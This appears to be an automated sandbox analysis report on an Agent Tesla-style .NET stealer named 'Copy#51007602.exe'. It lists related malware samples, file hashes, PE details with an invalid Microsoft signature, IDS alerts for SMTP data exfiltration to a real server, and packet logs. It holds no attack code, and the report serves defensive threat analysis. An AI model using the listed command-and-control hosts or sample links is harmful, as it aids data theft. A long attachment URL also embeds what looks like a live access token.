	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Doc100057638xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	0000003448.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Stamp invoice copy.xls.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	GestorRemesasCONFIRMIMING.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	DRAWING_SHEET_P02405912916 .exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	proforma invoice.bit.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	INV 0983 OSY 240524_PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://attachments.office.net/owa/cmangava%40tharisa.com/service.svc/s/GetAttachmentThumbnail?id=AAMkAGE2N2U5NmFkLWIzMjEtNGMwNS1iOWVlLWExNTBkNDk2NTZjMABGAAAAAAAsNFCwuPDISrln6MRbSR5lBwBC4JDOFd8jTJozG%2BNc7YRrAAAAmcUBAABu3YNoqzF8SLI68HoWeAXzAAFRD3sAAAABEgAQAOXLRvcdfU5Kkg7Zx598XsI%3D&thumbnailType=2&token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkU1RDJGMEY4REE5M0I2NzA5QzQzQTlFOEE2MTQzQzAzRDYyRjlBODAiLCJ0eXAiOiJKV1QiLCJ4NXQiOiI1ZEx3LU5xVHRuQ2NRNm5vcGhROEE5WXZtb0EifQ.eyJvcmlnaW4iOiJodHRwczovL291dGxvb2sub2ZmaWNlLmNvbSIsInVjIjoiNTIyZjRhMmM0ZWRmNDA4NjkxMWIwMGFjYzE2ZjgzNzEiLCJzaWduaW5fc3RhdGUiOlsiZHZjX21uZ2QiLCJkdmNfY21wIiwiZHZjX2RtamQiLCJpbmtub3dubnR3ayJdLCJ2ZXIiOiJFeGNoYW5nZS5DYWxsYmFjay5WMSIsImFwcGN0eHNlbmRlciI6Ik93YURvd25sb2FkQDliMDgyOWI5LWJlMzktNDMzNi1hNzY2LWY4YzlkYzJjNzFhNCIsImlzc3JpbmciOiJXVyIsImFwcGN0eCI6IntcIm1zZXhjaHByb3RcIjpcIm93YVwiLFwicHVpZFwiOlwiMTE1MzkwNjY2MTMxNDQwNDI4NFwiLFwic2NvcGVcIjpcIk93YURvd25sb2FkXCIsXCJvaWRcIjpcIjUyMjAyODA5LWJkODUtNGZmOC04NTUwLTRjNzUwZjNhODNlZFwiLFwicHJpbWFyeXNpZFwiOlwiUy0xLTUtMjEtMTAxMjEyODM0Ni0xNjc3NDQzNDQtMTE3Njg1Mjg2MS0xMzc4MTQ4OVwifSIsIm5iZiI6MTcxNjc5NjM3MCwiZXhwIjoxNzE2Nzk2NjcwLCJpc3MiOiIwMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOWIwODI5YjktYmUzOS00MzM2LWE3NjYtZjhjOWRjMmM3MWE0IiwiYXVkIjoiMDAwMDAwMDItMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL2F0dGFjaG1lbnRzLm9mZmljZS5uZXRAOWIwODI5YjktYmUzOS00MzM2LWE3NjYtZjhjOWRjMmM3MWE0IiwiaGFwcCI6Im93YSJ9.QgmzIBWvZG6gLwDV2SGPl9TdStXctQrpU_xiIGcL5I4eoVDkUPzqcKcrSAnwOD_E73nNMbCTWC-kgcJIIFGhLmh8iFWITRD5MwmaJN23JV7c8rlmzHlxnoqm8tPo98Soui3XZZYSaJZVTruXDBhUCiweHA69qYSoZDJxVUYZDvl5KvXMWJkA_ui0Vq1Sw7pPL5h9t4_QlGAarVBz6O9q21EGSBoX_hWPpcaEGJwoBDVeI-G6VvbkXzy9bJEMEZ6N-WzLyQtuKS9HVJBafIkUxsf0pIhhnJUluyukhnQ1dZohnpQr8e5v0Xoa3SObMFt_C5SeZHG2hFyxqFdeBhKQ_w&X-OWA-CANARY=X-OWA-CANARY_cookie_is_null_or_empty&owa=outlook.office.com&scriptVer=20240517003.15&clientId=1A63CAED249649AEBB5264A13128C2B5&animation=true&persistenceId=80cb7b14-7011-42b1-acde-250d928510f9	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	PO_27052024.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Remittance#26856.html	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://github.com/electerm/electerm/releases/download/v1.39.18/electerm-1.39.18-win-x64-installer.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://drive.google.com/uc?export=download&id=12v1VZUwGaH9dJNC24k24Rn9zAkDKRnBD	Get hash	malicious	Unknown	Browse	172.64.151.101
	PxuZ1WpCgf.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	188.114.97.3
	https://web.cinepagal.org	Get hash	malicious	Unknown	Browse	188.114.96.3
	Doc100057638xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	hZ80PhOmKK.elf	Get hash	malicious	Unknown	Browse	104.17.134.249
	RECEIPT-CARGO 00009933CRER3S.exe	Get hash	malicious	FormBook	Browse	23.227.38.32
	ctm_260524_pdf.exe	Get hash	malicious	FormBook	Browse	104.21.40.171
	RB_VAC_1.EXE.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.84.83
	https://u44668105.ct.sendgrid.net/ls/click?upn=u001.BTMESiTo6NsF48uIW4-2BrJkEc2YVFzyAaMWnWwgGT9cZqZS45ZZqu4Y-2FXJmZd8BXA8cja_AHV3UK6XjfrXMiZ9J4igW-2FDEUbICycoJ744IkX0PR6FoPBD5ixGfLkyQ9ofRFx1gjy-2BP-2BDUWqu7bhyffh6xflqZsbtNZtMLnpgQoCGrYBrKDAQCrs-2BXh7tVhTtmxcULJOM-2BKcO31hWTdcLyh6xHaFmrsv6JFsx6tjkxHhVyYzmDL2WjDZWPIbWyOCKFNxt29pnc1D6Wos9by2AU7AhdVB3KlHpWThOWm6-2FAP-2Buqng4Vq-2BmwndZ6wQGKVc-2FG51viAW-2FpPzuJOGK4hC-2FF-2FfgyonvDWvDkNa4J3BejflmN-2BuGCUZSHoW4H7oETlKRzn4f7VwMbU0WFOF9ZUfOI6CISxhvZQTsnMYzitMow1nPeu-2Flg0-2FzAaZA27HnZ5WdxtR2wKofgxyBDPpPjMUDCXBmEfEWtT8NXGmNaNpBvJDLI13EkOwRxoG67u0CqbvxxYYK-2F5eu2B-2Bg9JTJRxFbICA7lEJgDZLYhBS-2BbGjIrrRDvHg0hAvMhBJ54TVAoWNvYZYG-2FCqbCuzJrUBI0DoaRAGLq44smm73hnjeG06IT3WQV3A8KkhlXB3fqBFue-2Fd4ydFypfr1PkBzxIk-2FPd1H2pJdMYF-2B7HONDoFax8K-2BBkvfgdiIY-3D	Get hash	malicious	Unknown	Browse	104.17.245.203
ADVANTAGECOMUS	Doc100057638xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	66.29.151.236
	RB_VAC_1.EXE.exe	Get hash	malicious	DBatLoader, FormBook	Browse	66.29.137.12
	4TH HIRE SOA REMITTANCE_USD280,000.exe	Get hash	malicious	FormBook	Browse	66.29.149.46
	PAYMENT COPY.exe	Get hash	malicious	FormBook	Browse	66.29.149.46
	#U0426#U0438#U0442#U0430#U0442#U0430.exe	Get hash	malicious	FormBook	Browse	66.29.149.193
	REF0000QWERT544FILE.vbe	Get hash	malicious	AgentTesla	Browse	66.29.151.236
	Offer Document 23.lnk	Get hash	malicious	FormBook	Browse	66.29.149.46
	qtCWL0lgfX.exe	Get hash	malicious	FormBook	Browse	66.29.149.46
	Offer Document 24.lnk	Get hash	malicious	FormBook	Browse	66.29.149.46
	Doc0781123608.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse	66.29.151.236

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	yk4ABozmBY.exe	Get hash	malicious	RedLine	Browse	104.26.13.205
	Doc100057638xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	0000003448.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Stamp invoice copy.xls.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	GestorRemesasCONFIRMIMING.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	DRAWING_SHEET_P02405912916 .exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	NUEVA ORDEN DE COMPRAsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	104.26.13.205
	proforma invoice.bit.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	INV 0983 OSY 240524_PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PO_27052024.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

Process:	C:\Users\user\Desktop\Copy#51007602.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	716
Entropy (8bit):	5.350074230533824
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhayoDLI4MWuPrePEnirkvoDLI4MWuCv:ML9E4KlKDE4KhKiKhRAE4KzeRE4Ks
MD5:	F7E80A89B59EFA3CAC428E12420D971C
SHA1:	DD2427B85EEC73FBD3C353E5F8D18CF2B8286B00
SHA-256:	0731A6A7ED19AAF142738A522427B3EC07B2A64CD105C4D999A301016A4C2DCC
SHA-512:	D41797D9C35DFE77511DEC89CB973F342346FCBB09ED1C2BF45521DE2860A002C809EECC765CA6B4D7030316D872AA2CD58EC4455DF279B04DB1BB347233ACA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\itdtn.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\itdtn.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	716
Entropy (8bit):	5.350074230533824
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhayoDLI4MWuPrePEnirkvoDLI4MWuCv:ML9E4KlKDE4KhKiKhRAE4KzeRE4Ks
MD5:	F7E80A89B59EFA3CAC428E12420D971C
SHA1:	DD2427B85EEC73FBD3C353E5F8D18CF2B8286B00
SHA-256:	0731A6A7ED19AAF142738A522427B3EC07B2A64CD105C4D999A301016A4C2DCC
SHA-512:	D41797D9C35DFE77511DEC89CB973F342346FCBB09ED1C2BF45521DE2860A002C809EECC765CA6B4D7030316D872AA2CD58EC4455DF279B04DB1BB347233ACA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Roaming\itdtn.exe

Download File

Process:	C:\Users\user\Desktop\Copy#51007602.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	293997803
Entropy (8bit):	7.999958137275388
Encrypted:	true
SSDEEP:	6291456:oKyCoMaDMA1Nqr82YaR1WF9Tsc+51bq/Npev/fti7d:vaDJ1NcATI+eHFE
MD5:	C62B7992DB97A6341DACBE7E3D936C74
SHA1:	94F76F39F7792333AEC8E1FD50473AB99405C67A
SHA-256:	0C62EEE5960587F9C25CF53E7D8F19301F6DCA9C5F14456CA03EB19FD4DA2E86
SHA-512:	CC14879D59941C6C14CC9F504FF5149CE1C6392EB141B47DCB2249A7CA6D85E7F670A5C6020B4D16E28BBA0E7B4B2E499519B9B6095B9DDB15594B9BEB621540
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....ZTf.................t&...........&.. ....&...@.. .......................`)...........`..................................&.K.....&...............(..'...@)...................................................... ............... ..H............text...$s&.. ...t&................. ..`.rsrc.........&......v&.............@..@.reloc.......@).......(.............@..B..................&.....H..........._................".............................................(.......(.....0..E................(.... ....~....{....:....& ....8....8........E........8........0..................(.... ....8....8........E....-...........8(......}.... ....~....{....:....& ....8.....(@... ....~....{....9....& ....8.....2.{....(.........{..........(.....0..<.......s.......}......}......}.......}.....{............s....(...+&...(.......0..:.......s.......}......}......}.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.828089429289105
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Copy#51007602.exe
File size:	2'696'656 bytes
MD5:	d503277ebd054e3a3ccfe906cac2e6d8
SHA1:	f209eb92df97e2569897f5da1097ae0d5b8d4bdb
SHA256:	7c9fb1f9b7c24c9e0608af47b246b224e295ebc18aecfee6a104a7046d9db19a
SHA512:	24bbde7eb917886ffd032a0eca589074ec3bae6de31570ccdbeac410fb4f92cb9ad7ace1190714c855ce905be72c859d414b01538bc56825be93ab3cf30682b9
SSDEEP:	49152:inZcMf/Ci3p4GHOtjAaA4Dmn4WA3JQ//pk3MEksafGEwLw+Fq:iCMB0jAR4DmG5QnpwMEksRLw+Fq
TLSH:	29C5F103B36689DAF0852F31C4D72E1A13759E50224EDE066D7A33D62D323E2E85F5DA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....ZTf.................t&...........&.. ....&...@.. .......................`)...........`................................

File Icon


Icon Hash:	8fc34a4c4c4ac70f

Static PE Info

General

Entrypoint:	0x66931e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66545AD8 [Mon May 27 10:05:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	19/10/2023 21:51:55 16/10/2024 21:51:55
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	CE375D7A0A494CFB6B46B4398281FD9B
Thumbprint SHA-1:	FBFF636EBB3DE3A9FD6A55111F00B16D2FDFCF3D
Thumbprint SHA-256:	80CA15275739BEF2CAF6E5A4168EB0A07FEB15883E8A4F232D93B8EECFE0F0EA
Serial:	33000003A4CBE356B8CB7FE4270000000003A4

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2692d0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26a000	0x28480	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x28fe00	0x27d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x294000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x267324	0x267400	7845c4ac766f12fa2473d5a5ec77e836	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x26a000	0x28480	0x28600	39b340c00dede396df520d3c3bc09ec8	False	0.09177268769349846	data	3.8272508816153104	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x294000	0xc	0x200	55a9c22f83f624a76dc718f3f2432c20	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x26a460	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	0.28763440860215056
RT_ICON	0x26a748	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	0.46959459459459457
RT_ICON	0x26a870	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	0.13540197461212977
RT_ICON	0x26be98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.18256929637526653
RT_ICON	0x26cd40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.23104693140794225
RT_ICON	0x26d5e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.2420520231213873
RT_ICON	0x26db50	0xfc4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9199702675916749
RT_ICON	0x26eb14	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	0.03896888795459323
RT_ICON	0x277fbc	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	0.046654135338345865
RT_ICON	0x27e7a4	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	0.05254158964879852
RT_ICON	0x283c2c	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	0.053613604156825694
RT_ICON	0x287e54	0x3a48	Device independent bitmap graphic, 60 x 120 x 32, image size 14880	0.06099195710455764
RT_ICON	0x28b89c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.08101659751037345
RT_ICON	0x28de44	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	0.10443786982248521
RT_ICON	0x28f8ac	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.13320825515947468
RT_ICON	0x290954	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.20450819672131149
RT_ICON	0x2912dc	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	0.2377906976744186
RT_ICON	0x291994	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.2907801418439716
RT_GROUP_ICON	0x291dfc	0x102	data	0.6317829457364341
RT_VERSION	0x291f00	0x3cc	data	0.40329218106995884
RT_MANIFEST	0x2922cc	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators	0.5642201834862385

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/27/24-15:15:09.558181	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49705	587	192.168.2.5	66.29.151.236
05/27/24-15:15:21.815023	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49715	587	192.168.2.5	66.29.151.236
05/27/24-15:15:21.815023	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49715	587	192.168.2.5	66.29.151.236
05/27/24-15:15:21.815023	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49715	587	192.168.2.5	66.29.151.236
05/27/24-15:15:21.815023	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49715	587	192.168.2.5	66.29.151.236
05/27/24-15:15:09.558181	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49705	587	192.168.2.5	66.29.151.236
05/27/24-15:15:09.558181	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49705	587	192.168.2.5	66.29.151.236
05/27/24-15:15:09.558181	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49705	587	192.168.2.5	66.29.151.236
05/27/24-15:15:21.814973	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49715	587	192.168.2.5	66.29.151.236
05/27/24-15:15:09.558132	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49705	587	192.168.2.5	66.29.151.236

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 15:15:06.496284962 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:06.496316910 CEST	443	49704	104.26.13.205	192.168.2.5
May 27, 2024 15:15:06.496531010 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:06.506858110 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:06.506889105 CEST	443	49704	104.26.13.205	192.168.2.5
May 27, 2024 15:15:06.986428022 CEST	443	49704	104.26.13.205	192.168.2.5
May 27, 2024 15:15:06.986521006 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:06.991034031 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:06.991087914 CEST	443	49704	104.26.13.205	192.168.2.5
May 27, 2024 15:15:06.991452932 CEST	443	49704	104.26.13.205	192.168.2.5
May 27, 2024 15:15:07.038691044 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:07.062499046 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:07.106513977 CEST	443	49704	104.26.13.205	192.168.2.5
May 27, 2024 15:15:07.231180906 CEST	443	49704	104.26.13.205	192.168.2.5
May 27, 2024 15:15:07.231241941 CEST	443	49704	104.26.13.205	192.168.2.5
May 27, 2024 15:15:07.231328964 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:07.238195896 CEST	49704	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:07.782078028 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:07.787019968 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:07.787086010 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:08.485460997 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:08.485768080 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:08.490788937 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:08.647278070 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:08.648438931 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:08.655977011 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:08.819082975 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:08.836431026 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:08.842365026 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.039319038 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.039563894 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:09.045516014 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.218732119 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.218997002 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:09.224225044 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.394697905 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.394860029 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:09.400449991 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.557445049 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.558131933 CEST	49705	587	192.168.2.5	66.29.151.236
